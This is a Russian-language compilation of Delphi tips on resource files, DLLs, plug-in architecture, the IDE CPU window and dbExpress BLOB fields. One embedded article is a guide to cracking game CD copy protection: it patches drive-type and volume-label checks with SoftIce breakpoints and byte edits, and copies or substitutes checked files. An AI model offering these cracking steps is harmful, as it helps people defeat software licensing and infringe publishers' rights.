Сначала, используя Блокнот, создайте файл определения ресурса (Resource Definition) (текстовый) с именем, скажем, MYRES.RC (с обязательным расширением RC). Разместите, каждую на отдельной строке, ссылки на изображения, иконки, и т.п., которые вы хотели бы включить в RES-файл, например:

BITMAP1 BITMAP <путь><имя файла>

BITMAP2 BITMAP <путь><имя файла>

CURSOR1 CURSOR <путь><имя файла>

ICON1 ICON <путь><имя файла>

Затем (это не обязательно, но сохранит массу времени, особенно если вы экспериментируете), в том же каталоге создайте BAT-Файл, вызывающий программу для компиляции каждого ресурса:

"C:\DELPHI\BIN\BRCC/R %1".

Назовите его, скажем, MAKERES.BAT.

Перейдите в DOS и в каталоге проекта введите "MAKERES MYRES.RC".

Заданные ресурсы будут скомпилированы в новый файл MYRES.RES, который может быть прилинкован к вашему проекту как и прежде. Используйте Image Editor для проверки и редактирования.

Автор: Bob Villiers.

©Drkb::02168.

Хранение данных в EXE-файле.

Вы можете включить любой тип данных как RCDATA или пользовательских тип ресурса. Это очень просто. Данный совет покажет вам общую технику создания такого ресурса.

Code: Type. TStrItem = String[39]; { 39 символов + байт длины -> 40 байтов }. TDataArray = Array [0..7, 0..24] of TStrItem; Const. Data: TDataArray = ( ('..', ...., '..' ), { 25 строк на строку }. ... { 8 таких строк }. ('..', ...., '..' )); { 25 строк на строку }.

Практически все о взломе CD.

Вступление.

Наконец, я решился на написание этой статьи, идея пришла давно, но полностью систематизировать решился только сегодня. Сегодня мы не будем рассматривать конкретного взлома. На это есть две причины:

1) У меня начал глючить CD-ROM, пора менять.

2) Статья получилась бы слишком длинной.

В принципе вторая причина меня волнует мало, но первая встала доста- точно остро.

Хотя сдесь и будет в основном теоретический материал, о способах за- щиты от копирования с CD и методах устранения такой нехорошести, но я буду приводить и примеры игр, к сожалению, многое ломается на ходу и не обременяешь себя запоминанием, поэтому примеры игры в основном одни и те же.

Принципы и методы защиты.

Сейчас я постараюсь написать все, когда либо встреченные методы за- щиты:

1) Проверка на наличие диска.

2) Проверка на метку тома.

3) Проверка на наличие места.

5) Проверка на наличие файла и его аттрибуты.

5) Проверка на запись файла.

6) Другие виды проверки.

7) Некоторые общие моменты.

1) Проверка на наличие диска.

Я разделяю эти проверки на два класса:

1) Функцией GetDriveTypeA.

Теория: Функция GetDriveTypeA возвращает в eax тип диска по его имени Вот список возвращаемых значений.

0 -- - Невозможно определить тип.

1 -- - Диск не найден.

2 DRIVE_REMOVABLE - Гибкий (возможна замена).

3 DRIVE_FIXED - Жесткий (замена невозможна).

4 DRIVE_REMOTE - Сетевой диск.

5 DRIVE_CDROM - CD-ROM.

6 DRIVE_RAMDISK - RAM - Диск.

Как часто встречается:

Такая проверка стоит на абсолютном большинстве ИГР.

Методы взлома:

1) Используя Soft-Ice/TRW2000 поставить бряк на эту функцию командой bpx GetDriveTypeA и если после выхода в вызывающую программу, недалеко стоит cmp eax, 00000005, то следует 5 исправить на 3, т.е. программа будет искать не CD-ROM, а жесткий диск.

2) Дизассемблировать перейти к месту вызова функции, посмотреть, есть ли сравнение. Это несколько модернизированный вариант пункта 1.

3) На эту идею я натолкнулся в статье Vadim M. "Как отучить игры от про- верки CD-ROM (на примере Hellfire)". Краткое описание: поскольку функция GetDriveTypeA вызывается из kernel32.dll будем править там, смысл, чтобы все жесткие диски в системе были бы как CD-RОМ'ы, этого легко достичь пере- правив результат возвращаеммый функцией с 3 на 5, правдо это не всегда про- ходит. Эту статью можно увидеть на www.reversing.net.

Примеры игр:

Project IGI, Deadly Dozen, and many others.

2) Запись имя диска в реестр или файл.

Как часто встречается:

Достаточно часто.

Метод взлома:

Я использую такой метод, т.к. программа где-то сохранила имя CD-ROM'a, значит, если мы изменим имя, то программа откажется запускаться, даже если диск будет торчать в СDюке. Изменяем имя и если запускаться перестанет, то ищем с помощью RegMon и FileMon, куда программа его запрятала.

Примеры игр:

Shockman (Шокмэн), записывала в файл WINDOWS\facked.ini.

2) Проверка на метку тома.

Теория: Метка тома проверяется с помощи функции GetVolumeInformation, если эта функция вызывается, то почти однозначный вывод проверка метки тома. Функция очень часто используется с категорией 1.

Как часто встречается:

Очень часто.

Методы взлома:

1) Используя Soft-Ice/TRW2000 поставить бряк на эту функцию командой bpx GetVolumeInformation. После этой процедуры скорее всего идет процедура сравнения правильной метки с вашей. После процедуры переправить переход.

2) Дизассемблировать перейти к месту вызова функции, посмотреть, есть ли сравнение и т.д.. Это несколько модернизированный вариант пункта 1.

3) Если категорию 1 вы уже правили. Посмотреть метку тома на компакт-ди- ске, и установить такую же на любом жестком диске.

4) Если категорию 1 не правили. Берем любой свой компакт с длинной метки тома меньшей, либо равной длинне метки на ломаемом компакте. Ищем в испол- няемых файлах программы, настоящую метку и заменяем ее нашей. Вывод если Вы вставляете свой компакт, игра думает, что это ее родной.

Примеры игр:

Deadly Dozen.

3) Проверка на наличие места.

Теория: Наличие свободного места на диске проверяется функцией GetDiskFreeSpace. Функция вызывается для того, чтобы проверить что это за диск, ведь на CD свободного места нет.

Как часто встречается:

Бывает.

Методы взлома:

Аналогичны методам 1 и 2 из 1 и 2 категории, только на другую функцию.

Примеры игр:

Была какая-то, но не помню названия.

4) Проверка на наличие файла и его аттрибуты.

Теория: Один из распространившихся в последнее время приемчиков, часто это используется для проверки видео. Которое не копируется на ЖД. В основном используются такие функции:

GetFileAttributesA - Проверка аттрибутов файла.

ReadFile - Чтение файла.

GetFileSize - Получение размера файла.

FindFirstFile - Поиск файла.

Как часто встречается:

Иногда.

Метод взлома:

Я использую такой метод, запускаем FileMon. Затем запускаем игру, со вставленным компактом. Потом сразу же выходим и смотрим, к каким файлам шло обращение. Если файлы не большие можно скопировать их на ЖД, если есть большие видео, то их можно заменить любыми другими видаками маленького размера. В других случая придется править переходы. Если используются все эти функции придется попотеть.

Примеры игр:

Project IGI, в этой игре были два файла по 1 байту, я их скопировал на диск C: в корневой, изменил после GetDriveTypeA сравнение и все.

5) Проверка на запись файла.

Теория: Для этого используются функции WriteFile и GetLastError. Одна для записи файла другая для проверки ошибки, если они стоят подряд, то это явно она.

Как часто встречается:

Ни разу не встречал.

Метод взлома:

Чуть-чуть исправленный метод из предыдущей категории.

Примеры игр:

Я же сказал: "Не встречал!".

6) Другие виды проверки.

Теория: Бывают и другие сильно замусоленные проверки.

Как часто встречается:

На дисках компании "Русобит".

Метод взлома:

Почитайте статьи ASMax'a на www.reversing.net.

Примеры игр:

Казаки, Star Force.

7) Некоторые общие моменты.

Часто в играх проверки объединены в одну общую процедуру. И удалив ее, программа начинает работать.

Практически всегда программа защищена совокупностью защит, которые здесь представлены в разных категориях.

Статья не претендует на всеобщность, поэтому я не могу предугадать ходы разработчиков. Статья открыта для дополнения, если у Вас есть какие нибудь ценные мысли по этому поводу, шлите на мыло.

Все ругательства отправлять в null.

Все остальное на lomovskih@yandex.ru.

P.S. Запомните все материалы публикуются только в учебных целях и автор за их использование ответственности не несет!!

P.P.S. Возможно имеют место опечатки, заранее извините!

With best wishes Fess.

И да пребудет с вами великий дух bad-сектора.

©Drkb::01408.

Взято с http://delphiworld.narod.ru.

Использование компонентов наборов данных.

Набор компонентов dbExpress, инкапсулирующих набор данных, вполне обычен и сравним с аналогичными компонентами BDE, ADO, InterBase Express. Это компоненты TSQLDataSet, TSQLTable, TSQLQuery, TSQLStoredProc.

Примечание.

Компонент TSimpleDataSet также относится к рассматриваемой группе, но т. к. он обладает рядом специфических возможностей, его описание вынесено в отдельный пункт.

Однако необходимость создания легкой технологии доступа к данным, какой является dbExpress, наложила на эти компоненты ряд ограничений.

Хотя общим предком всех рассматриваемых здесь компонентов является класс TDataSet (см. рис. 12.1), который обладает полным инструментарием для работы с набором данных, компоненты dbExpress используют только однонаправленные курсоры и не позволяют редактировать данные. Однонаправленные курсоры ограничивают навигацию по набору данных и обеспечивают перемещение только на следующую запись и возврат на первую. Также здесь недоступны любые операции, требующие буферизации данных — это поиск, фильтрация, синхронный просмотр.

Таким образом, для выключения ряда механизмов класса TDataSet понадобился еще один Промежуточный класс TCustomSQLDataSet.

Отображение данных при помощи компонентов со страницы Data Controls также ограничено. Нельзя использовать компоненты TDBGrid и TDBCtrlGrid, а в компоненте TDBNavigator не забудьте отключить кнопки возврата на одну позицию назад и перехода на последнюю запись. Также ничего хорошего не получится из попытки применить компоненты синхронного просмотра. Остальные компоненты можно использовать обычным способом (см. гл. 15).

Основные способы применения компонентов dbExpress остаются стандартными и подробно описаны в части III.

Доступ к данным во всех рассматриваемых компонентах осуществляется одинаково — через соединение, инкапсулированное компонентом TSQLConnection. Привязывание к соединению выполняет свойство.

Property SQLConnection: TSQLConnection;

Рассмотрим теперь компоненты dbExpress подробнее.

Количество вхождений подстроки в строку.

Code: Function CountPos(const subtext: string; Text: string): Integer; Begin. If (Length(subtext) = 0) or (Length(Text) = 0) or (Pos(subtext, Text) = 0) then. Result := 0. Else. Result := (Length(Text) - Length(StringReplace(Text, subtext, '', [rfReplaceAll]))) div. Length(subtext); End;

Активизация и использование в IDE окна CPU.

Предупреждение: Окно CPU еще до конца не оттестировано и может иногда приводить к ошибкам. Если у вас есть проблемы с отладчиком, или при запуске вашей программы вы не можете им воспользоваться, окно CPU может помочь решить ваши проблемы. Обычно его не требуется включать, если только у вас не "особый случай".

В Delphi 2 эта характеристика встроена, но по умолчанию выключена, называется это окно CPU window, или DisassemblyView. Она легка в использовании, может быть полезной в отладке и сравнении кода при его оптимизации.

Для активизации этой характеристики, запустите REGEDIT и отредактируйте регистры описанным ниже образом. Найдите ключ HKEY_CURRENT_USER\Software\Borland\Delphi\2.0\Debugging. Создайте по этому пути строковый ключ с именем "ENABLECPU". Значение нового ключа должно быть строкой "1". Это все. Теперь в Delphi IDE появился новый пункт меню View|CPUWindow. При его активизации выводится новое окно.

Теперь, чтобы понять какое мощное средство оказалось в ваших руках, сделаем сравнительный анализ генерируемого кода для двух примеров, имеющих одинаковую функциональность, но достигающую ее разными путями.

Создайте 2 одинаковых обработчика события. В каждом обработчике события разместите приведенный ниже код. Установите точку прерывания на первой строчке каждого обработчика. Запустите приложение и активизируйте события. Сравните ассемблерный код обоих методов. Один короче? В этом случае он будет исполняться быстрее.

Достойными для такого рода анализа могут быть участки кода, многократно выполняемые в процессе работы программы, или критические ко времени выполнения.

Хорошим примером, где различный код выполняет одну и ту же работу, но делает это с разной скоростью, является использование конструкции "with object do". Исходный код с многократным использованием конструкции "with object do" будет длиннее, но ассемблерный код короче. Вспомните, сколько раз вы устанавливали свойства для динамически создаваемых объектов? Код:

Code: With TObject.create do. Begin. Property1 := ; Property2 := ; Property3 := ; End;

Будет выполняться быстрее, чем.

MyObj := TObject.create;

MyObj.Property1 := ;

MyObj.Property2 := ;

MyObj.Property3 := ;

©Drkb::00054.

Взято с http://delphiworld.narod.ru.

DLL и ресурсы.

...я также имею проблемы с другими функциями DLL, которые ведут себя иначе, чем при первом обращении к ним!

Недавно я и сам закончил большой "DLL-проект", в котором столкнулся с аналогичными проблемами. Я не знаком с вашим специфическим исключением, которое вы упомянули, но я могу предложить некоторые общие советы по поводу использования DLL.

Главное, что нужно помнить при разработке DLL - вы не должны допускать ситуацию, при которой любое исключение осталось бы неперехваченным (спасибо Pat Ritchey за столь мудрый совет). В теле экспортируемых функций "заверните" все в блоки try..except (которые замечательно обрабатываются Delphi).

Далее, любые ресурсы, которые вы явно создаете при открытии DLL, должны создаваться в обработчике FormCreate (а не в секции Initialization) и освобождаться в обработчике FormClose. Мне кажется, что при вызове DLL (и использовании ее для распределения ресурсов) они не полностью освобождается до тех пор, пока вызывающее приложение не будет закрыто, а при вторичном вызове DLL не перегружается (это мои наблюдения, но, похоже, они верны). По всей видимости, ресурсы, освобожденные в первый раз, во время второго вызова не пересоздаются. У меня была масса проблем до тех пор, пока в коде я не определил "нужное место" для освобождения ресурсов. Но после того, как я переместил работу с ресурсами в обработчики событий FormCreate и FormClose, GPF исчезли.

Кроме того, для освобождения ресурсов вы должны вместо метода Close или Free использовать метод Release.

Ну и последний совет: вы должны быть очень осторожными при создании и освобождении ресурсов в DLL и подходить к вопросу программирования очень тщательно. Delphi может простить такую ошибку в EXE, но не в DLL.

Надеюсь я помог вам.

Автор: Mike Leftwich (Ensemble Corp).

©Drkb::01996.

Взято с http://delphiworld.narod.ru.

Разработка DLL в среде Borland Delphi (статья).

Если ваш компьютер работает под управлением операционной системы Windows, то вы не можете не знать о существовании динамических подсоединяемых библиотек (dynamic link libraries - DLL). Достаточно взглянуть на список файлов, расположенных в системном каталоге Windows - порой количество используемых операционной системой динамических библиотек достигает нескольких сотен. DLL являются неотъемлемой частью функционирования операционных систем семейства Microsoft Windows. Однако для вас может быть неочевидна необходимость использования динамических библиотек при разработке приложений. В рамках данной статьи мы поговорим о принципах функционирования DLL и их использования в процессе создания ваших собственных программ.

Для начала давайте выясним, что собой представляет динамическая подключаемая библиотека. Итак, DLL - это один или несколько логически законченных фрагментов кода, сохраненных в файле с расширением.dll. Этот код может быть запущен на выполнение в процессе функционирования какой-либо другой программы (такие приложения называются вызывающими по отношению к библиотеке), но сама DLL не является запускаемым файлом.

Существует два типа динамических библиотек - исполняемые и библиотеки ресурсов. Однако это не означает, что в одном файле не может находиться и код некоторой функции и какие-либо ресурсы. Просто иногда бывает удобно разнести реализацию исполняемых процедур и используемые приложением ресурсы в разные файлы.

Итак, процедуры и функции, содержащиеся в динамической библиотеке, можно разделить на два типа: те, которые могут быть вызваны из других приложений. Рассмотрим следующий пример:

Screen.Cursors[myCursor] := LoadCursor(HInstance, MYCURSOR');

LoadCursor - функция Windows API, которая вызывается приложением из динамической библиотеки User 32.dll. Кстати, примером хранимых в динамической библиотеке ресурсов могут являться такие стандартные диалоги Windows, как диалог открытия файла, диалог печати или настройки принтера. Эти диалоги находятся в файле Comctl32.dll. Однако многие прикладные разработчики используют функции вызова форм этих диалогов, совершенно не задумываясь, где хранится их описание.

Второй тип процедур - это те, которые используются только внутри самого файла библиотеки.

Аргументы в пользу использования DLL.

Итак, прежде чем перейти к обсуждению структуры динамических библиотек, необходимо поговорить о тех преимуществах, которые предоставляет их использование разработчику. Во-первых, это повторное использование кода. Думаю, нет необходимости пояснять удобство использования один раз разработанных процедур и функций при создании нескольких приложений? Кроме того, в дальнейшем вы сможете продать некоторые из своих библиотек, не раскрывая исходных кодов. А чем тогда это лучше компонентов, спросите вы? А тем, что функции, хранящиеся в библиотеке, могут быть вызваны на выполнение из приложений, разработанных не на Object Pascal, а, например, с использованием C++Builder, Visual Basic, Visual C++ и т.д. Такой подход накладывает некоторые ограничения на принцип разработки библиотеки, но это возможно. Звучит заманчиво? Мне кажется, даже очень. Но это еще не все.

Во-вторых, использование DLL предоставляет возможность использования один загруженного в оперативную память кода несколькими приложениями. К примеру, если вы разрабатываете программное обеспечение для большого предприятия, то вполне возможно, что в различных созданных вами приложениях будут использоваться одни и те же функции, процедуры, формы и другие ресурсы. Естественно, что при выделении общих для нескольких приложений данных в DLL может привести к экономии как дискового пространства, так и оперативной памяти, иногда очень даже существенному.

В-третьих, следует поговорить вот о чем. Всего несколько лет назад при разработке программного обеспечения вы могли совершенно не волноваться относительно распространения ваших продуктов где-либо, кроме вашей страны. Я хочу сказать, что проблема перевода на другие языки текста на элементах управления (пункты меню, кнопки, выпадающие списки, подсказки), сообщений об ошибках и т.д. не стояла так остро, как сейчас. Однако, с повсеместным внедрением интернета у вас появилась возможность быстрой передачи готовых программных продуктов практически в любую точку мира. И что будут делать с вашей программой где-нибудь в Объединенных Арабских Эмиратах, если кроме как по-русски, она с пользователем общаться не умеет? Вы сами можете оценить этот эффект, если хоть раз на экране вашего компьютера вместо с детства знакомого русского языка появляется "арабская вязь" (например, из-за "сбоя" шрифтов). Итак, уже сейчас вы должны планировать возможность распространения ваших приложений в других странах (если, конечно, у вас есть желание получить как можно больше прибыли). Соответственно, встает вопрос быстрого перевода интерфейса вашей программы на другие языки. Одним из путей может являться создание ресурсов интерфейсов внутри DLL. К примеру, можно создать одно приложение, которое в зависимости от версии динамической библиотеки будет выводить сообщения на различных языках.

Естественно, выше приведены лишь некоторые из аргументов в пользу использования динамически подключаемых библиотек при разработке приложений. Итак, надеюсь, вы все еще заинтересованы в том, чтобы узнать, как, собственно, DLL создаются. Если так, то вперед.

Основы разработки DLL.

Разработка динамических библиотек не представляет собой некий сверхсложный процесс, доступный лишь избранным. Если вы достаточно хорошо знакомы с разработкой приложений на Object Pascal, то вам не составит особого труда научиться работать с механизмом DLL. Итак, рассмотрим те особенности создания DLL, которые вам необходимо знать, а в завершении статьи разработаем свою собственную библиотеку.

Как и любой другой модуль, модуль динамической библиотеки имеет фиксированный формат. Взгляните на листинг, представленный ниже.

Code: Library MyFirstDLL; Uses. SysUtils, Classes, Forms, Windows; Procedure HelloWorld(AForm : TForm); Begin. MessageBox(AForm.Handle, 'Hello world!', 'DLL Message Box', MB_OK or MB_ICONEXCLAMATION); End; Exports. HelloWorld; Begin. End.

Использование DLL в качестве Plug-in.

В темах для написания статей раздела "Hello World" присутствует вопрос о динамических библиотеках и модуле ShareMem. Я хотел бы несколько расширить постановку вопроса: Пусть нам надо построить систему безболезненно расширяемую функционально. Напрашивающее ся само собой решение — библиотеки динамической компоновки. И какие же грабельки разбросаны на этой тропинке?

Грабли.

В месте моей текущей трудовой деятельности вопрос о такой системе всплыл давно. И поскольку он не собирался тонуть, создать такую систему пришлось. Так что всё изложенное ниже — из собственного опыта.

Первый вопрос возникающий при создании библиотеки (DLL): А что это тут написано в закомментированной части исходного кода библиотеки. А рассказывается там следующее — если вы используете динамические массивы, длинные строки (что и является динамическим ма ссивом) как результат функции, то необходимо чтобы первым в секции uses стоял модуль ShareMem. Причём и в основном проекте! От себя добавлю, что это относится более широко к тем случаям, когда вы выделяете память в одной библиотеке, а освобождаете в друго й, что и произойдёт когда вы создадите динамический массив в одной Dll-ке, а освободите его в другой.

Использовать ли ShareMem — вопрос конкретной постановки задачи. Если можно обойтись без таких выделений памяти, то вперёд, с песней! Иначе придётся вместе с программой таскать borlndmm.dll, которая и реализует безболезненный обмен указателями между библио теками.

Можно задаться вопросом "А почему?". И получить ответ "Так надо!". По всей видимости, Delphi работает с Heap (кучей, откуда выделяется память) по-своему. Некоторое время назад мы на работе обсуждали этот вопрос, ползали по исходникам и к единому мнению та к и не пришли. Но есть предположение, что Delphi выделяет сразу большой кусок памяти в куче и уже потом по запросу отрезает от него требуемые кусочки, тем самым не доверяя системе выделять память. Возможно, это не так и если кто подправит меня, буду благо дарен. Так или иначе — проблема существует, и решение имеется.

Вопрос второй, он освещался уже на этом сайте — а вот хочется положить форму в нашу библиотеку. Нет проблем, кладём, запускаем. Форма создаёт свою копию на панели задач. Почему? Если вы создавали окно средствами WinAPI, то обращали внимание на то, что заг оловок окна и текст соответствующей кнопки на панели задач совпадают и сделать их (тексты) различными невозможно. Т.е. когда процесс создаёт первое окно, у которого владелец — пустая ссылка (если точнее то Handle — дескриптор), то окно выводится на панель задач. А как же Delphi? В переменной Application:TApplication, которая имеется всегда, когда вы используете модуль Forms, при создании Application содаётся невидимое окно, которое становится владельцем для всех окон приложения. А поскольку у библиотеки н е происходит действий по инициализации окна переменной Application, то создаваемая форма не имеет окна владельца и как следствие — появление кнопки на панели задач. Решение уже описано, это передача ссылки на экземпляр объекта Application из вызывающей пр ограммы в вызываемый модуль и присвоение переменной Application переданного значения. Главное перед выгрузкой библиотеки не забыть вернуть старое значение Application.

Совпадение свойств Name разных окон будет вызывать исключительную ситуацию. Избегнуть этого не сложно, а возникает ошибка видимо из-за того, что разные типы классов имеют одно имя в пределах одного контейнера.

Достаточно важным является уничтожение окна перед выгрузкой библиотеки и завершением программы. Delphi расслабляет: за выделенными ресурсами следить не надо, окна сами создаются и уничтожаются и ещё много чего делается за программиста. Накидал компонентик ов, установил связи и всё готово... Представим: библиотека выгружена, окно из библиотеки существует, система за библиотекой уже почистила дескрипторы, да остальные ресурсики и что получается? Секунд пять Delphi при закрытии программы висит, а затем "Acces s violation ..." далее вырезано цензурой...

Больше граблей замечено не было. Да и упомянутые — серьёзной проблемы не представляют, единственное, что нужно, писАть аккуратно, текст вылизывать, да и думать почаще.

Построение программы с Plug In-ами.

Возможно 2 подхода к построению такой программы.

Плагины получают информацию от ядра программы, но сами к ядру не обращаются. Назовём такой подход пассивным. в активном подходе плагины инициируют некоторые события и заставляют ядро их слушаться.

Второй подход требует более сложного алгоритмического построения, поэтому я рассмотрю только первый.

Пусть у нас есть программа, умеющая подключать динамические библиотеки (любые). Но для эффективной работы необходимо, чтобы эти библиотеки предоставляли стандартный интерфейс по передаче данных. По-русски, должен существовать стандартный набор экспортируе мых функций библиотеки, через которые программа будет с ними общаться.

В процессе работы выяснилось, что для пассивной модели достаточно 6 функций:

Получение внутренней информации о плагине (в программе function GetModuleInfo:TModuleInfo). При наличии в библиотеке такой функции и правильном её вызове, мы будем знать что эта DLL — наш плагин. Сама функция может возвращать что угодно, например название и тип плагина.

Формирование начальных значений (в программе procedure Initialize). Плагин приводит себя в порядок после загрузки, т.е. заполняет переменные значениями по умолчанию. Передача данных в плагин (в программе procedure SetData(Kind:TDataKind;const Buffer;Size:Integer)). Позволяет передавать данные в плагин. Получение данных — в программе не реализована, но делается по типу SetData. Запуск плагина (в программе Run). Запускается плагин. Действия могут быть различными: показ окна, модальный показ окна, расчёт какого-либо параметра и т.д. И есесьно останов плагина. Здесь действия обратные пункту 2.

Немного остановлюсь на передаче данных. Паскаль при всей своей жёсткой типизации предоставляет приятное средство передачи в функцию нетипизированных данных. Если программа знает о том, какие именно данные пришли, оттипизировать :) их достаточно просто. Эт от способ передачи используется в SetData. В модуле SharedTypes.Pas, используемом всеми тремя проектами описаны соответствующие константы TDataKind для типов передаваемых данных.

Теперь о реализации.

Пусть ядро, т.е. exe-файл, ищет плагины, запускает их и по таймеру передаёт в них два цифровых значения, которые один плагин будет изображать в текстовом виде, а второй в виде диаграмм. Реализация плагинов отличается минимально, поэтому расскажу об одном — Digital.dll. Начнём перечисление функций:

Code: // получение информации о плагине. Function GetModuleInfo:TModuleInfo;stdcall; Var. Buffer:array [byte] of char; Begin. With Result do begin. Name:='Отображение цифровых данных'; Kind:=mkDigital; If GetModuleFileName(hInstance,@Buffer,SizeOf(Buffer)-1)>0 then. Path:=ExtractFilePath(StrPas(Buffer)); End; End; // Функция возвращает информацию о модуле. В данном. // случае это цифровое отображение, путь и тип модуля. // инициализация. Procedure Initialize;stdcall; Begin. // запоминание старого Application. OldApp:=Application; FmDigitalMain:=nil; End; // Процедура запоминает переменную Application. // и делает нулевой ссылку на форму плагина. // запуск. Procedure Run;stdcall; Begin. // создание окна плагина. If fmDigitalMain=nil then. FmDigitalMain:=TfmDigitalMain.Create(Application); End; // Процедура запуска плагина созда?т окно. // Окно созда?тся видимым. // останов. Procedure Terminate;stdcall; Begin. // освобождение окна. FmDigitalMain.Free; FmDigitalMain:=nil; // восстановление старого TApplication. Application:=OldApp; End; // Процедура уничтожает окно и возвращает старый TApplication. // при?м данных. Procedure SetData(Kind:TDataKind;const Buffer;Size:Integer);stdcall; Begin. Case Kind of. // передача TApplication. DkApplication:if Size=SizeOf(TApplication) then. Application:=TApplication(Buffer); // передача данных во время работы. DkInputData:if fmDigitalMain<>nil then begin. FmDigitalMain.SetData(Buffer,Size); End; End; End; // Процедура получения данных. В зависимости от полученного. // типа данных с данные в переменной Buffer соответственно. // типизируются. Здесь происходит обращение к форме плагина, // расписывать я его не буду, там вс? просто, см. исходники. // Типы, которые используются здесь, описаны в SharedTypes.pas.

Как найти полный путь и имя файла запущенной DLL из самой DLL.

Code: Uses Windows; Procedure ShowDllPath stdcall; Var. TheFileName: array[0..MAX_PATH] of char; Begin. FillChar(TheFileName, sizeof(TheFileName), #0); GetModuleFileName(hInstance, TheFileName, sizeof(TheFileName)); MessageBox(0, TheFileName, 'The DLL file name is:', mb_ok); End;

DLL со строковыми ресурсами.

Делаешь текстовый файл с ресурсами, типа.

--my.rc--

STRINGTABLE.

{

00001, "My String #1".

00002, "My String #2".

}

Далее компилируешь его:

Brcc32 my.rc.

У тебя получится my.res.

Делаешь DLL:

--my.dpr--

Code: Library my; {$R my.res}. Begin. End.

Особенности использования BLOB полей в dbExpress на примере MySQL.

Использовать новые компоненты dbExpress удобно. Однако прилагательное «новые» приносит не только радость… Решение возникающих проблем бывает затягивается на долгие часы и дни. На помощь Internet увы надеяться не приходится, т.к. информации по dbExpress там ни так много. Одна из этих проблем – работа с BLOB полями. Использовать нативный SQL для работы с BLOB не всегда возможно, поэтому нужно применять другие, альтернативные способы.

Для работы с BLOB полями в Delphi имеется несколько классов:

· TBlobStream;

· TClientBlobStream;

· TBlobField;

· TGraphicField;

· TMemoField;

Также сюда можно отнести функцию TCustomClientDataSet.CreateBlobStream, но она реализована посредством класса TClientBlobStream. Классы TGraphicField и TMemoField являются производными от TBlobField. TBlobStream не подходит для работы с dbExpress, а применяется только при манипулировании данным через BDE.

Таким образом для работы с BLOB-полями через dbExpress остаются два ключевых класса: TBlobField и TClientBlobStream. Следовательно возможно два, принципиально различных, варианта доступа к BLOB-полям: через потоки и через свойства объекта. Как указано в справочной системе при работе с BLOB-полями вообще и dbExpress в частности достаточно удобными оказываются переменные типа String.

Действительно, максимальный размер данных хранимых в переменных данного типа составляет 2 Гб, что равняется максимальному размеру BLOB-поля в MySQL (3.23.47). Строки достаточно удобны для работы с потоками, а также существует достаточно много функций для работы с ними. Проблем при работе с BLOB-полями также существует две: чтение данных и их запись. Рассмотрим каждый из возможных вариантов.

Проблема №1. Чтение данных из BLOB-поля.

Для работы с BLOB-полями необходимо присвоить свойству TCustomClientDataSet.FetchOnDemand значение True, а также необходимо внимательно изучить свойство Options параметр poFetchBlobsOnDemand. Данные настройки нужны для того, чтобы получать данные из BLOB-поля в клиентское приложение. Загрузить данные можно используя метод FetchBlobs.

Использование потоков.

{описание типов переменных}.

QrProba: TSQLClientDataSet; {поле BLOBF – является BLOB-полем}.

Image: TImage;

Stream: TStream;

Memo: TMemo;

{--------------------------------------}

Begin.

{делаем нужную запись активной, например, методом Locate.}.

Stream := qrProba.CreateBlobStream(qrProba.FieldByName('BlobF'), bmRead);

Try.

Image.Picture.Bitmap.LoadFromStream(Stream); {если это картинка}.

{Memo.Lines.LoadFromStream(Stream); - если это текст}.

Finally.

Stream.Free;

End;

End;

Использование свойства TDataSet.FieldValues.

{описание типов переменных}.

QrProba: TSQLClientDataSet; {поле BLOBF – является BLOB-полем}.

Image: TImage;

Stream: TStream;

Memo: TMemo;

{----------------------------------}

Begin.

{делаем нужную запись активной, например, методом Locate.}.

Memo.Lines.Text := qrProba['BLOBF'];

End;

Использование свойства TBlobField.Value.

{описание типов переменных}.

Memo: TMemo;

BLOBField: TBlobField;

{----------------------------------}

Begin.

{делаем нужную запись активной, например, методом Locate.}.

Memo.Lines.Text := BlobField.Value; { можно так}.

Memo.Lines.Text := BlobField.AsString; { а можно и так}.

Memo.Lines.Text := BlobField.AsVariant; { это третий способ}.

End;

Проблема №2. Запись данных в BLOB-поле.

При записи данных в BLOB-поле необходимо учитывать, что для внесения изменений одного метода Post недостаточно. Для пересылки данных в таблицу после метода Post необходимо вызывать метод TCustomClientDataSet.ApplyUpdates. Вместе с данным методом полезно использовать свойство TCustomClientDataSet.ChangeCount, которое содержит количество изменений внесенных пользователем. В справочной системе Delphi содержится пример как совместно использовать это свойство и метод ApplyUpdates.

Использование потоков.

Перед созданием потока необходимо обязательно вызывать метод FetchBlobs для загрузки данных из BLOB-поля, иначе возникает ошибка. При работе с полем используя поток, необходимо следовать правилу:

Одна запись – один поток.

Если необходимо обработать новую запись, то поток необходимо создавать заново. Естественно нужно не забывать своевременно уничтожать созданные потоки.

{ описание типов переменных}.

QrProba: TSQLClientDataSet; {поле BLOBF – является BLOB-полем}.

Image: TImage;

Stream: TClientBlobStream;

Memo: TMemo;

{--------------------------------------}

Begin.

{делаем нужную запись активной, например, методом Locate.}.

QrProba.Edit;

QrProba.FetchBlobs;

Stream := TClientBlobStream.Create(TBlobField(qrProba.FieldByName('BlobF')),

BmReadWrite);

Stream.Position := 0;

Stream.Clear;

Image.Picture.Bitmap.SaveToStream(Stream);

QrProba.Post;

QrProba.ApplyUpdates(0);

Stream.Free;

End;

По непонятным причинам данный код не работает. Точнее данные в Stream передаются, но в базу не записываются. При этом никаких ошибок не выдается (может это bug, а может что-то в данном коде не учтено). В связи с этим, если необходимо использование потоков, следует создать промежуточный поток, затем загрузить в него данные, а потом эти данные перебросить в строковую переменную, которую в дальнейшем занести в базу. Этот способ не является самым оптимальным, но работает безотказно.

BLOBField: TBlobField;

Stream1: TMemoryStream;

D: Char;

I: Integer;

S: string;

{------------------}

Begin.

Stream1 := TMemoryStream.Create;

Stream.Clear;

Image.Picture.Bitmap.SaveToStream(Stream1);

Stream1.Position := 0;

For i := 1 to Stream1.Size do.

Begin.

Stream1.Read(d, 1);

S := s + d;

End;

BlobField.DataSet.Edit;

BlobField.AsString := s;

BlobField.DataSet.Post;

TSQLClientDataSet(BlobField.DataSet).ApplyUpdates(0);

Stream1.Free;

End;

Использование свойства TDataSet.FieldValues.

{описание типов переменных}.

QrProba: TSQLClientDataSet; {поле BLOBF – является BLOB-полем}.

Image: TImage;

Stream: TStream;

Memo: TMemo;

{----------------------------------}

Begin.

{делаем нужную запись активной, например, методом Locate.}.

QrProba.Edit;

QrProba['BLOBF'] := Memo.Lines.Text;

QrProba.Post;

QrProba.ApplyUpdates(0);

End;

Использование свойства TBlobField.Value.

{описание типов переменных}.

Memo: TMemo;

BLOBField: TBlobField;

{----------------------------------}

Begin.

{делаем нужную запись активной, например, методом Locate.}.

BlobDield.DataSet.Edit;

BlobField.Value := Memo.Lines.Text;

BlobField.DataSet.Post;

